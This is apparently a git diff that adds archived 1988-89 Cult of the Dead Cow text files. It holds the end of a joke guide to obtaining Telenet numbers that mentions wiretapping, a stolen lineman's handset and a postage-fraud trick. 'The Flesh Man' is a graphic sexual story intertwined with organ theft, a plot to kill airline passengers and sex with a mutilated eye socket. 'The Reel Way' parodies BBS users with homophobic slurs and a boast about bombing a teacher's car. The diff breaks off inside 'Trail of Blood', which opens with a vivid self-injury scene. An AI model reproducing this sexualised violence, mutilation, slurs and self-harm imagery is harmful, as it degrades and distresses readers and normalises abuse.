with their account?) + + + + "Thank you for your time." + + + +METHOD III: Technically Debonair +----------- -------------------- + + This method is one of my favorite methods to obtain Telenet thingies! + For this method you will need some hardware. + + HARDWARE REQUIRED: + Tape recorder, + RCA jacks (4), + A 90 min. tape, + Bailing wire, + Banana peel, + Orange paint, + Telephone (preferably with DTMF), + A copy of Hustler, + A garbage can, + 100 sheets of white typing paper, + A Clock, + Modem, + VCR (VHS). + + Okay, chuck everything into the garbage can except for the tape recorder, + the VCR, the 90 min. tape, modem, and your copy of Hustler. Now you merely + go on down to the Telenet office and hook your tape recorder up to + their data lines so that it will record all the data that is sent and + received. You might think that that is easier said than done, and god + dammit you're right! But then, I just write these things to gain glory for + me, if you want to get technical, read a copy of Phrack Inc! + + Once your tape is filled up (you're supposed to stick the tape in the tape + recorder..sheezzzeee!) you take it home and hook the tape recorder back up + to your modem. Now you hook the VCR up to your monitor (this actually + works best with a T.V...but haye', if you want to struggle..) Play the + tape back to your computer and record all the stuff to the VCR... Now, when + you have leisure-time, you can simply play the VCR back and fast forward to + the technical stuff that you need (i.e. finding the Telenet thingies!) + +METHOD IV: Pseudo Telenet +---------- -------------- + + Here is another favorite method that I often use when I go on vacation. + The idea here is that you have everyone think that your number is + actually Telenet by writing a program that will simulate logons. I + actually have a VAX in my basement which is great for this, but haye', + we can't ALL be elite and have that luxury (I carded it!) + + The only real trick here is getting people to call your number instead + of Telenet. I will discuss two methods which I have successfully used + to accomplish this task. + + Call Forwarding Method + ---------------------- + + To use this method you simply call up the Telco. office and order + call forwarding for the Telenet line, then you head on over to the + phone terminals (at Telenet) and, using your stolen lineman's + handset, forward the numbers to your line. Wasn't that simple? + + + Mail Fraud Method + ----------------- + + This my preferred method. The first thing I do is write a program + (on my VAX) that will address a letter to every address in my + city (it's only about 150,000 population, so it doesn't take long) + stating that the Telenet number has been temporarily changed [to + my number]. I then use the mail fraud method of sending the letters + so that it's all free (you know, that's where you put the person + you are sending it to as the return address and then "forget" to put + a stamp on it and it's "returned"..) When I am done running my + operation, I merely do the same thing stating that the number has + been changed back. It's so simple. + +_______________________________________________________________________________ + +Well, that about wraps it up for THIS T-File.. I would like to extend a hearty +congratulations to those of you who are still reading.. Be sure to look for +more distorted and unachievable humor in the near future. Adieu... + +=============================================================================== + "Don't you hate it when loosers call each other loosers?" +=============================================================================== + "What ever happened to Bowzer?" + "Does Batman still love us?" +=============================================================================== + (c)1988 cDc communications by TA-KEE-LA Willsie 8/17/88-71 + All Rights Worth Shit + + \ No newline at end of file diff --git a/textfiles.com/groups/CDC/the.flesh.man b/textfiles.com/groups/CDC/the.flesh.man new file mode 100644 index 00000000..7ba40921 --- /dev/null +++ b/textfiles.com/groups/CDC/the.flesh.man @@ -0,0 +1,567 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Flesh Man + by Richard Avis + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The whore rolled over, pointing her broad backside at the Flesh Man, +and without needing further invitation he guided his potty-plunger into her +gaping glory hole. + + "You like, yes?" she asked, using three of the five English words in +her vocabulary, the other two - "Pay now" - having begun their meeting. + + "It's okay," he grunted, "but Jose said there was going to be something +special." + + "Si, si, senor, en un momento." + + "Make it quick, I won't last much longer. You've got a pretty tight +butt-hole for a whore your age." + + "Gracias, senor." + + Suddenly, the Flesh Man felt a warm sensation at the head of his cock, +and a blast of hot air enveloped his shaft. He came with a shuddering jerk, +grabbing the whore by her prodigious love handles and thrusting his spurting +tool into her, fighting the seemingly endless blast of air that blew his cum +back out of her ass. Finally spent, he plopped out of her and collapsed back +on the bed. + + "That was pretty good," he said. Then, lest he drive up the price next +time, he added, "for a local whore." + + "Gracias, senor." + + Tired of talk, the Flesh Man pulled on his pants and stained Guyabera +shirt. The whore hurried to the bathroom, turning as she switched on the +light. + + "Hasta la vista, senor - Oh!" + + For the first time she saw his face illuminated by the bathroom light. +The narrow, nearly closed left eye, the two misshapen holes that passed for a +nose, and the bloated, puffy lips that seemed in a perpetual sneer and were, as +always, decorated with a fine lace of spittle. + + "Hey, I said lights out, you bitch!" + + He lunged for her, but the working girl darted behind the door and +bolted it. Then the other door flew open and Jose entered, a machete that +meant business gleaming in his right hand. + + "Que paso, senor?" + + "Your whore turned that light on." + + "Oh, pardon, senor. Marta, she makes a mistake. Please do not hold it +against her," he said, slipping the machete into its sheath and extending his +arms to his best customer. "Perhaps you satisfy her so much, she forgets +herself, eh?" + + "Cut the crap. I've got about as much interest in satisfying her as in +marrying the bitch and opening a taco stand." + + "Does she satisfy you, though?" the burly pimp asked. + + "Not bad, not bad." + + "From you, an afficionado, that is high praise, senor," Jose replied, +guiding the Flesh Man into the waiting area. + + "How does she do that, anyway?" + + "Well, same as we all do, you know," the pimp laughed, stirring a +vile-looking pot of refried beans. + + "Sure, but that much?" + + "Well, senor, Marta has always been prone to gaseousness. It was a big +problem with the customers, and I was going to fire her, when I thought of a +way of taking advantage of it. Now she makes me many pesos and gets to enjoy +her favorite foods!" + + Jose tasted the fetid concoction, offering some to the Flesh Man. + + "No thanks, Jose. Anyways, tell me about this girl from Arabia. +What's so hot about her?" + + "I myself do not know much, just that she is good, very good and very +expensive. Her name is April. She travels by private jet, always with +bodyguards. Today she is in Los Angeles, tomorrow, maybe London, Paris, Hong +Kong. They say every man who has her wants to keep her as his concubine or +marry her, but she is strictly on a one-time basis." + + "How much?" + + "Oh, senor, she is out of your range. She is for the jet set, Arab +sheiks, Greek shipping tycoons, even American politicians. You could never +afford." + + "Cut the crap, Jose, just name a price. Ten grand?" + + "Oh, no, senor, much more. You could never...." + + "Just tell me how much!" snapped the Flesh Man. + + "One-quarter of a million dollars, American, payable in cash - in +advance. As I say, she is a dream, a fantasy." + + "Call her. I gotta run now, but I'll raise the dough." + + "But senor, where will you...." + + "I'll find a way." + + "Of course, senor, I should have known. I have never met a man who +craves the women as you do, and this is why they call you the Flesh Man, eh?" + + "Yeah, right." If only he knew, thought the Flesh Man, stepping out +into the sultry Acapulco night. If only he knew, it would turn even his +chili-hardened Mexican stomach. + + + **** + + + The Flesh Man entered the dingy back room of the Caballo Loco cantina, +where Poco, a fat Mexican, was talking to a depressed-looking young American in +a leather flight jacket. + + "Hola, Flesh Man. Meet my friend the pilot, Keith Felcher. He was +just telling me his troubles." + + The young American shook his hand, trying to hide his revulsion at the +Flesh Man's face, and almost succeeding. + + "Isn't there a chance the airline'll find you innocent?" Pocco asked +the fly-boy as the Flesh Man sat down. + + "Pretty unlikely. These investigations are just a formality. Everyone +knows I caused that crash. I'm out of a job. Lucky for me, they're so short +of decent pilots they've got me flying until then." + + "One little mistake, your career's over," sympathized Poco. + + "Fuck my career. I don't give a rat's ass if I ever fly. I'm up to +myh ass in debt. I'm in hot water with some badass dudes if I stop making +payments." + + Inside the Flesh Man's devious mind, an idea was taking shape. + + "What size planes you fly?" he asked, casually. + + "DC-6s, mostly," answered the pilot. "Small stuff, 50 to 60 passengers +tops." + + The Flesh Man smiled and asked, "When's your next flight to this area?" + + But before the pilot could answer, the Flesh Man's pager beeped. He +sprang up and, without a word to his puzzled companions, bolted out the door. + + + **** + + + He arrived at the site before any medical vehicles. This was not +uncommon; he had sources at all the hospitals, and his Land Rover could take +the steep mountain roads much faster than any ambulance. He could tell as he +pulled on his blood-stained white lab coat that it would be a good night. The +bus had burned, but several bodies had been thrown clear. He adjusted his +official-looking hospital ID as he hurried over, lugging a carrying case. +Nimbly, the Flesh Man darted past the moaning, bleeding survivors, dodging as +they grabbed at his legs, ignoring their pleas for help. + + He reached his objective, a half dozen lifeless bodies bearing no signs +of damage. "Severed spinal cords," he thought, "the best kind; sometimes the +heart is still beating." He knelt down among them, opened the ice-lined case, +took out a gleaming scalpel and went to work cutting, probing, extracting with +the quick efficiency of a master surgeon. + + The first ambulances arrived on the scene just as he had filled his +case. The Flesh Man snapped it shut and strode purposefully past them, waving +his ID. + + "Dr. Morgan, American Hospital, Mexico City. I'd stick around to +assist, but there's an orphan in Guadalajara who needs a kidney." + + He threw the case into the back of his Land Rover and raced down the +road, weaving through the onrushing parade of emergency vehicles. + + Three hours later, in a grimy back office in Acapulco, Raoul the Turk +tossed a wad of hundereds at the Flesh Man, who counted them. + + "This is 19, Raoul, a grand short." + + "No, one of those livers was not good. + +" "Bullshit, Raoul, those bodies were undamaged." + + "Not in the accident, Fleshie, cirrhosis. Alcoholism. In six months, +he would have needed a transplant himself." + + "People should take care of themselves," grumbled the Flesh Man. + + "If they did, we'd be out of business. But since they treat their +bodies like toilets, wreck their livers with booze or their lungs with smoke, +we can sell them replacement parts and pay for our own vices, eh, Fleshie?" + + The Flesh Man smiled, pocketing the bills, then leaned forward, a +conspiratorial gleam in his eye. + + "Yeah, but this is nickel-and-dime stuff, Raoul. Say I got 50, 60 +complete bodies, unmarked, no trauma, no burns, refrigerated from the instant +of death. What could I get?" + + "All organs fresh? This would be very valuable. The genitals, for +instance, spoil quickly, and the demand for them in Scandinavia is always high. +You could do nicely, perhaps a half-a-million American dollars. Why, do +you...." + + But the Flesh Man was out the door. + + + **** + + + "So let me get this straight," Keith said, sitting at his regular table +in the rear of the Caballo Loco, "I just depressurize the cabin, fly around +'till everyone asphyxiates and freezes back there, then land?" + + "Exactly," said the Flesh Man. "I'll make it look like a crash, and as +far as anyone knows, you went down with it. I do a little business, you walk +away with 200 Gs." + + "I like it, but I'm not a murderer." + + "Keith, the people I work for ship organs to hospitals all over the +world. Now they're underground, but that's just because of the red tape. +They're still saving lives. For every person who dies on that plane, many +lives will be saved - a kidney here, a heart there, maybe a pair of eyes so a +little blind girl can see, or a set of ears so some old deaf woman can hear her +son play the violin." + + "Yeah, but...." + + "Look, all these people will die eventually, right? So why not have +them die in the right place, at the right time, so the gift of life can be +passed on? The way I see it, you'd be a murderer if you didn't kill them." + + "I never thought of it that way. I guess you're right." + + "One week from today, then," the Flesh Man replied, rising to leave. +"Don't screw it up, and I'll make you a rich man." + + Back at Raoul's, the Flesh Man told the Turk just enough to convince +him he meant business. He hated to tell him anything, but a deal this size had +to be set up in advance and only the Turk could supply the refrigerated truck +the job required. While he did some calculations, the Flesh Man called his +pimp. + + "Listen, Jose, I can have the money in a week...." But the Mexican cut +him off. + + "Bad news, senor. I call my connections and they tell me April, she is +retiring. She has one last job in Moscow, and then she is no longer in the +business." + + "No, there has to be something you can do!" screamed the Flesh Man. +"When does she leave for Moscow?" + + "Day after tomorrow." + + "So get her here tomorrow!" + + "But, senor, this is impossible. She must have the money in advance. +You tell me you will have it in a week." + + "You'll have it in an hour." + + When he hung up, the Turk was already shaking his head. + + "No, Fleshie, I know what you will ask me, and it is impossible. I +work cash-on-delivery; you know that." + + "But, Raoul, I know you loan-shark. You've lent money to every lowlife +in this town; so why not to a guy you've done business with for years?" + + The Turk leaned across the desk. + + "Flesh Man, we are friends, we trust each other. These people I lend +money to, I don't know from Mohammed, and I would not trust with their own +sisters. But they pay me back because they know, without a doubt, that if they +do not, I will find them, or my people will: here in Acapulco, in the interior, +anywhere in the world. No one has even missed an interest payment and lived to +see another sunset. If I lend you money and something happens, I have to kill +a friend. And I have too few as it is." + + "Don't make me cry, Raoul. Here's the deal, take it or leave it, and I +bet you can't leave it. Lend me the 250 now. In a week when I make the +delivery, it's all yours. Half-a-million bucks worth of bodies, fresh as a +truckful of daisies." + + Two minutes later, the disfigured Anglo was running down the street +toward Jose's, clutching a bulky satchel like a tailback carrying a football. +Everything was going perfectly - well, almost. He could no longer afford to +pay Keith and would have to kill him. But that was not all bad; the pilot +talked too much, and killing him would take care of a loose end. + + + **** + + + The penthouse garden suite at the Hotel Del Golf was dark when the +Flesh Man walked in, which pleased him. The last thing he needed tonight was +to become impotent, as he had in the past when women gasped at his gnarled +face. + + When his eyes adjusted to the gloom, he saw the slender figure of a +young woman no older than 18. She had soft olive skin; slender legs rising to +a perfectly proportioned butt; a dark, downy bush whose subtle perfume he could +just smell and a tight stomach with just enough silken baby fat to give her +youthful navel a sensual pout. This was topped by a pair of breasts that would +have made a master architect throw down his drafting pen in despair. Though +full and rounded, they seemed to float before her of their own accord. + + But what struck the Flesh Man were her eyes; eyes of a deep tranquil +blue that seemed to gaze into his soul. As he stood transfixed, a shaft of +moonlight streamed through the glass roof onto his hideous face, but to his +amazement, her eyes gave no hint that she was revolted by what she saw. + + And then she was on top of him on the huge, satin-covered bed, pulling +his clothes off, covering his body with kisses, licking and nibbling every +inch. In his hurry to make the final arrangements, he had neglected to bathe. +As a result, his body carried several days of accumulated stink, but she seemed +not to notice. Her nimble tongue darted into dark corners even the crustiest +Acapulco whores shied away from. + + She continued like this for what felt like an age, seeming to know his +body better than the American himself did. He shut his eyes, and it seemed as +though three or four young girls with the curiosity of children, but with the +understanding of women, were caressing and adoring him. + + Just when he would have cried out that he couled take this teasing no +longer, she took his shaft in her mouth until its head was well down her +throat. To his amazement she even got her lips around his bulging, cum-filled +balls. The slightest motion would have brought up a torrent of hot jizz, but +she didn't twitch, just held his manhood motionless in her mouth as he writhed +at the brink of ecstasy. Occasionally she would swirl her tongue around his +balls, always stopping before they released their load. She somehow knew just +how far she could bring him without pushing him over the edge. + + Then, deep in the back of her throat, she began a slow swallowing +motion that playfully tickled the very tip of his cock, and he strained to bury +it deeper inside her. The swallowing motion increased, and soon her whole +mouth was alive, swirling and sucking as he shot thick jets of semen down her +throat. The whore swallowed like a hungry baby getting her first taste of +mother's milk, and she didn't release his member from her mouth until she had +gently, lovingly, milked it of its last precious drop. + + Usually, he needed half an hour before he could get another erection, +but his cock was barely dry when it was rock-hard again, ready to be pleasured +by her two other fuck-holes. + + First she guided him up her tight little ass, which tugged and teased +his helmeted intruder just as her mouth had - only for twice as long - pumping +back and forth in an ever-increasing crescendo until he exploded inside her. + + The writhing sex machine seemed to adore the ass-reaming as much as she +had cherished the liquid lunch the Flesh Man had treated her earlier. + + No sooner had he eased out of her rectum than she took his cock in her +mouth. Within moments it was stiff once again. She spread her slender legs, +and he knew it was vagina time. + + He slipped easily into her slick, swollen cunt - gaping and red like a +cut on a boxer's face - and they fucked for hours. Her twat seemed to have an +endless supply of pearly lubricant that dribbled in shiny rivulets down his +cock, around his balls and along the crack of his ass, collecting in large +puddles on the king-size bed. Finally, she picked up the pace; her pelvic +thrusts becming more urgent, his breath coming in short bursts. As she clawed +her way up through layers of pleasure, finally breaking through, her loins +slapped his as they strained together toward orgasm. But even as she came, the +high-priced prostitute managed to hold him back. + + Then, with a smile that told him the best was yet to come, she split +her legs like a gymnast and began to revolve on the end of his tool, propelling +herself around with her hands, spinning faster and faster on her +well-lubricated vulva. This drove the Flesh Man even closer to the brink and +kept him there, helpless, a prisoner of her masterful cunt. + + Finally, when he felt his heart could take no more, she let him come +and gratefully, shuderingly, he climaxed inside her; his powerful, jerky +thrusts bobbing her still-spinning body up and down on his pulsating pink +pivot. + + A few minutes later she broke the silence. "You are not like the other +men I have been with." + + "What do you mean?" he snapped, thinking she was talking about his +face. + + "I have never met a man who takes pleasure like you. The other men, +they strut, they preen, they try to impress me; always asking, 'How do I look? +How does it feel? Do you mind if I do this or do you mind doing that?' But +not you. You are not afraid to just enjoy me." + + "You - you like that?" stammered the Flesh Man. + + "Yes, it is so honest. I am a whore; my job is to bring people +pleasure, but most of them, they try to satisfy me. They never could, and they +insult me by trying." + + "But, just now, you..." + + "Yes! With you, yes, because you are the first honest man I have +fucked in a long time." + + "but my face - it doesn't bother you?" + + "I am sorry, what do you mean?" + + "You can't honestly tell me you don't find me ugly." + + April pulled her head back from his shoulder. "I see I can have no +secrets from you." + + The Flesh Man had seen a lot of strange things, but nothing could have +prepared him for what April did next. She reached up to her beautiful blue +eyes and deftly pulled them out, setting the turquoise glass balls on the bed. + + "The man who trained me from birth to be his concubine, live in his +harem, did this to me. He caught me looking at a servant boy and swore I would +never look at another man again. So one night as he climaxed I killed him. +The servant boy helped me escape. For the past five years, I make my living +the only way I know how." + + "So that's why you have the plane, the bodyguards, the privacy...." + + "Yes." + + "And the way you seem to know things, to know when...." + + "Yes, this too. When you are blind, the other senses, they get +better." + + Listening to this, the Flesh Man felt sensations he hadn't felt in +years, sensations like pity, even love. It was April who noticed he was also +growing hard again. + + "Perhaps you would like to do something I have never let any man do." + + The Flesh Man lay there amazed as she moved her head down to his +crotch, eased the head of his cock into her right eye socket and began bobbing +her head gently up and down. This new fuck-hole had a soft, spongy warmth, and +soon he was ready to come. + + "Do you midn if I...." + + "Come in my brain? No, not at all. Please do." + + As she spoke the words, he fired one last salvo of semen, which +dribbled out of her other eye socket and onto his tired balls. She hungrily +licked it up before lightly kissing his cheek and falling asleep beside him. + + + **** + + + A few weeks later, the Flesh Man drove the shiny, silver refrigerator +truck the Turk had lent him up to an abandoned airfield he had staked out in +the mountains high above Acapulco. He wlaked to the runway and sat down to +wait, thinking about April. She had been gone when he awoke, and he had not +forgotten what Jose had said about her belonging to no man. But he would never +forget that night, and he resolved to track her down in her retirement and +marry her. + + His reverie was broken by the reasuring whine of the DC-6 as it broke +through the clouds in a steep descent, then bottomed out into a perfect +approach over the cracked, weathered strip of tarmac. + + Not until the plane was a couple hundred feet off the runway did the +Flesh Man realize what was wrong. He started waving franticaly. But Keith +just waved back, a half-empty bottle of tequila in his hand. "The drunken +fool," the Flesh Man thought. "He forgot to lower the landing gear." The +plane touched down with a sickening scrape, spinning sideways, catching a wing, +flipping over and bursting into flames. + + The Flesh Man spung to the truck, reviewing options as he ran. +Acapulco was out; the Turk would be waiting for him. He would drive up the +coast to Mazatlan, board a freighter for the U.S., raise some money, get a new +identity, and head for - wherever. + + Only after he had climbed into the truck did he see Raoul, and the gun. + "He must have been hiding in the back," thought the Flesh Man. The game was +over. + + "I warned you, Fleshie. I told you not to do this. But the Flesh Man +must have his flesh at all costs, hmm?" + + "Look, Raoul, just get it over with. Do you want me to step outside so +I don't mess up your nice truck?" + + "Don't be silly, Fleshie. You are worth nothing to me dead. I still +aim to collect my half-a-million dollars." + + "But didn't you say...." + + "The principle, I can wait a week for." It would be hard, but somehow +he could raise the money in a week. This seemed too good to be true. It was. +"But you are not off the hook, Fleshie. Your first interest payment is due +now, $10,000." + + "I can raise it in an hour once we get back to town." + + "Now, Fleshie. Cash - or merchandise." + + "Merchandise? But - you saw the plane. Those bodies are history." + + "I'm not taling about those bodies, Fleshie." In a blood-curdling +instant, he understood. + + "I got a call from Scandinavia. They'll pay $10,000 tonight. One way +or another, your... equipment will be on board. It is up to you whether the +rest of you will be alive, or dead and in the freezer down in my office." + + Several minutes later, in the refrigerated compartment of the truck, +the Flesh Man made the first incision and tried to look at the bright side: he +would survive. This trick with the planes could be a gold mine if he chose his +pilots more carefully. A few hauls and he could pay off the Turk, maybe afford +to track down April. He would temporarily be incapable of enjoying her +talents, sure, but perhaps this place in Scandinavia could attach a new set on +him. Unlike their other clients, he could choose his own donor, and he might +even move up a size or two. The possibilities were endless. He was, after +all, the Flesh Man. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Toll Center.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |1989 cDc communications by Richard Avis. 06/26/89-#110 +\_______/|All Rights Pissed Away. + + \ No newline at end of file diff --git a/textfiles.com/groups/CDC/the.reel.way b/textfiles.com/groups/CDC/the.reel.way new file mode 100644 index 00000000..a587c2fe --- /dev/null +++ b/textfiles.com/groups/CDC/the.reel.way @@ -0,0 +1,220 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + The Reel Way + or + 'How to Win the Ego Wars' + + Written by: The Pusher + Inspired by: Leper Messiah + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This file will describe to you how things are done on the local "pirate" +board, which is full of computer nerds who all live within 20 minutes of the +BBS. +------------------------------------------------------------------------------- + + +Section #1- Anarchy + + If the local board does have an "anarchy" section it will probably not +be anything worth looking at. Rather than posts about explosives, bombs, lock- +picking, etc... you'll get messages like this: + + +POSTER: MR. ANARCHY +TITLE: ANARCHY NEWS! + + (FIRST, I'D LIKE TO SAY NOT TO TRY THIS UNLESS YOUR AN EXPERIENCED +ANARCHIST LIKE MYSELF.) I REALLY, REALLY, REALLY HATE MY CHEMISTRY TEACHER. +HE'S SUCH A FUCKING DICKHEAD! I WAS TALKING TO SOME HOT BABEZ IN CLASS WHEN HE +TOLD ME TO BE QUIET. I TOLD HIM TO FUCK OFF AND HE KICKED ME OUT OF CLASS. (BUT +NOT BEFORE I GOT SOME BABEZ #! PHONE SEX!@#@22! YAH!2@!1) I KNEW WHERE HE LIVED +SO I FELT SORRY FOR HIM! I WAS GOING TO KICK HIS FAGGIT ASS! I WENT HOME AND +STOLE SOME SHIT OUT OF THE KITCHEN TO MAKE A NITRO-VITRO BOMB! (SEE ADVANCED +ANARCHY BOARD FOR DETAILS OF THIS. I CAN'T HAVE ANY OF YOU KIDDIES BLOWING +YOURSELVES UP!!) I WENT UP TO MY ROOM AND MADE THE BOMB WHILE MY MOM THOUGHT I +WAS STUDYING! (I NEVER STUDY, ONLY NERDZ STUDY! I'M FAILING EVERY CLASS!) +(Pusher note: Every local loser loves to say they are failing school, when in +fact, they get A's in everything. By the way, I get straight B's, and I'm damn +proud of it!) I PUT THE THING TOGETHER, AND STOLE THE KEYS TO MY DADS FERRARI +AND WENT OUT TO GET SOME BOOZE! AFTER GETTING TOTALLY SMASHED I ZIPPED OVER TO +MY FAGGIT CHEM TEACHER'S HOUSE. I THREW THE BOMB INTO HIS CAR AND BLEW THE +WHOLE MOTHERFUCKIN THING UP! WHEN HE CAME OUT TO SEE WHAT THE FUCK WAS +HAPPENING, I SMASHED HIS FACE WITH A BAT@@! SO YOU SEE, ANARCHY CAN GET RID OF +ANYONE! LATER ON DUDES, +MR. ANARCHY + + Uh oh, I wouldn't mess with this guy. + +------------------------------------------------------------------------------- + + +Wection #2- BBS Adds + + On your local geek board, you will never see a BBS Ad like this: + +Elite BBS +914-xxx-xxx +Sysop: Elite Man + + That would be too easy for the local. They have to spend a month +making up BBS adds using "Proterm Special Emulation" which they post at least +once every time they call. Here's an example. + + + THE ELITE HOUSE + 987-654-3210 + SYSOPS: RAD MAN COSYSOPS: THE STUD + THE PSYCHO DR. PAIN + THE PREDATOR THE PAINMASTER + THE DISK SLAVE + + 6 DRIVES NOW (40 MEGZ SOON!) 300 BAUD (17400 SOON!) + NEW WAREZ! COOL SYSOPS! + FUCKIN AWESOME MODZ! ONLINE GAMES! + SEX FILES! A STORY SECTION! + + A METALHEDZ, INC. BASE + + + Would you call "THE ELITE HOUSE"? Probably not. Of course, you would +never be able to get on, because the board would be down 5 days a week for +"NEW MODZ!" [Ed note: Or is the sysop playing "California Raisins?] + +------------------------------------------------------------------------------- + + +Nection #3- Music + + 95% percent of all the locals like MTV p0zer metal. It is impossible to +call your local "pirate" board without seeing someone say "OZZY RULEZ!" There +is also always an argument between the "metalheads" and someone who likes new +wave. None of the local loozes like classic rock, hardcore, or speed/deth/doom +metal. Check this out... + + +POSTER: SATAN'S SON (They often use the title of an "OzZy" song for their name) +TITLE: WHITESNAKE FUCKIN KIX BUTTT! + + HAVE YOU GOT THE NEW CRUE ALBUM? IT'S SO FUCKING AWESOME. THEY KICK ASS! I +CAN'T WAIT TO SEE THEM IN CONCERT. THEY'LL BE SO MUCH BETTER THAN THOSE DEPECHE +MODE HOMOES. THEY PROBABLY SUCK EACH OTHERS DICK! NIKKI SIX IS LIKE THE +AWESOMEST GUITARIST AROUND! NEW WAVE SUX! I HEARD A RUMOR THAT OZZY, +WHITESNAKE, AND BON JOVI ALL DIED IN A PLANE CRASH! +LATER DUDEZ, +SATAN'S SON +(NUMERO UNO CRUE FANO) +------------------------------------------------------------------------------- + + +Eection #4- Phreaking + + On every local board, the sysop will leave a message like "ONLY REAL HACKS +AND PHREAKS CAN HAVE ACCESS TO THE HACK/PHREAK SUB. I DON'T WANT TO GET BUSTED +BY THE FEDZ!" I think that the Treasury Department is smart enough to realize +that no real telcom board is called "HACKERS AND PHREAKERS HEADQUARTERS". To +get access to the "HACK/PHREAK" sub all you have to do is give the sysop a +code. That's all the messages are on the sub anyway. "FRESH SPRINTS!" with a +list. But sometimes you might get this message... + + +POSTER: MR. PHREAK +TITLE: SAFE SERVICE + + HEY PHREAKS, IS THERE ANY SERVICE OUT THERE THAT IS 100% SAFE WITH NO +TRACING? + + This question is asked at least 10 times a day in the U.S. And I just +love these "Phreak horror stories"... + + +POSTER: CODE MEISTER +TITLE: HOLY SHIT! + + DON'T USE MCI! DON'T USE MCI! DON'T USE MCI! A HEARD THAT THEY'VE GOT THIS +NEW THING CALLED API. IT'S CALLED AUTOMATIC PHREAK IDENTIFICATION! THE SECOND +YOU PHREAK A CALL WITH MCI, THEY SEND THE FEDZ OVER TO YOUR HOUSE. SOME GUY IN +CALIFORNIA GOT A $217,000 DOLLAR PHON BILL! HE'S BUSTED AND I HEAR HE'S NOW IN +PRISON! ALSO, A PHREAK FRIEND OF MINE WAS USING SPRINT, WHEN SOME OPERATORS +CAME ON SAID "EAT THIS, YOU LITTLE PUNK!" THEY THEN PLAYED A TONE SO LOUD, THAT +HE WAS DEAF FOR 5 DAYS! +HAPPY HACKIN (BE CAREFUL, DUDEZ!) +CODE MEISTER +M.P.A.H.S +(MASTER PHREAKS AND HACKS SOCIETY) + +------------------------------------------------------------------------------- + + +Bection #5- Wares + + On the local boards, wares are used to get people to call a board, like... + + +ULTIMA X IS OUT! ITS FUCKIN AWESOME! +WE GOT IT AT WARE PALACE ELITE! + + + The other type of message you see is the rumor message. These are always +wrong. + + +POSTER: THE ULTIMATE PIRATE +TITLE: OUT! + + I HEARD THAT GAUNTLET IS OUT! IT'S SUPPOSED TO BE ON SOME CALIFORNIA BOARZ! +IT HAS GRAPHICS JUST LIKE THE ARCADE. YOU CAN EVEN PLAY 10 PEOPLE AT ONCE! I'D +GET IT AND UPLOAD IT HERE, BUT I HEARD THAT DIGITAL GANG SAID THAT IT IS NOT TO +BE DISTRIBUTED OUTSIDE CALIFORNIA. KING'S QUEST V WILL BE OUT SOON! I KNOW THE +AUTHOR AND HE GAVE ME A COPY! I'D UPLOAD IT BUT HE'D BUST ME BIGTIME! +CHOW, +ULTIMATE PIRATE +DEATH BOYS (PROFESSIONAL DISTRIBUTORS) + +------------------------------------------------------------------------------- + + + ection #6- Wars + + On good boards, there is no such thing as a "war". They're usually just +arguments because someone ragged on someone on a crack page. However, the +locals take this EXTREMELY seriously. Every message is full of threats, and +challenges to fight (which never happen). Not to mention lots of obscenities. + + +POSTER: JOE STRANSIVIK +TITLE: FUCK YOU FAGGIT! + + YOU'RE SUCH A FUCKING LOSER, APPLE KING! I TALKED TO PEOPLE WHO GO TO YOUR +SCHOOL, AND THEY SAID YOU'RE A MAJOR GEEK. YOU PROBABLY SUCK EVERYONE'S COCK. +FUCK YOU! FUCK YOU! YOU PROBABLY FUCK YOUR MOMMA TOO! YOUR DAD PROBABLY FUCKS +YOU! I WANNA BEAT THE FUCKIN LIVING FUCK OUT OF YOUR FUCKING BUTTFUCKER FACE! I +CHALLENGED YOU TO A FIGHT AT THE PARK AND YOU DIDN'T SHOW UP! YOU WERE PROBABLY +FUCKING YOUR GEEK FRIENDS! FUCKIN FAGGIT BUTTFUCKER! IF I EVER MEET YOU I'M +GOING TO BEAT THE FUCK OUT OF YOU! +FUCK YOU, HOMO! + +------------------------------------------------------------------------------- +"Mom, I just want a Pepsi!" +Call DRU. Now. +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 12/30/88-91 + All Rights Worth Shit + + \ No newline at end of file diff --git a/textfiles.com/groups/CDC/three.cows b/textfiles.com/groups/CDC/three.cows new file mode 100644 index 00000000..391da6f4 Binary files /dev/null and b/textfiles.com/groups/CDC/three.cows differ diff --git a/textfiles.com/groups/CDC/trail.of.blood b/textfiles.com/groups/CDC/trail.of.blood new file mode 100644 index 00000000..a22dcb80 --- /dev/null +++ b/textfiles.com/groups/CDC/trail.of.blood @@ -0,0 +1,140 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Trail of Blood + + by Sunspot + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + "Thomas! Thomas! Come downstairs! Your father and I have something +to discuss with you!" + + Thomas sat on his bed cross-legged, staring at the glistening surface +of the scissors. See how they shine and gleam in the light? See how they +sparkle? Thomas inserted one scissor into each of his nostrils. Hehe! They +tickle! And the blade is so cold! Well, nevermind about that. Thomas pushed +the scissors up into his nose. He felt something pop and felt the warm blood +start to drip, then gush, from his nose. He pushed up some more, but the +septum dividing his nostrils got in the way. Impatiently, he 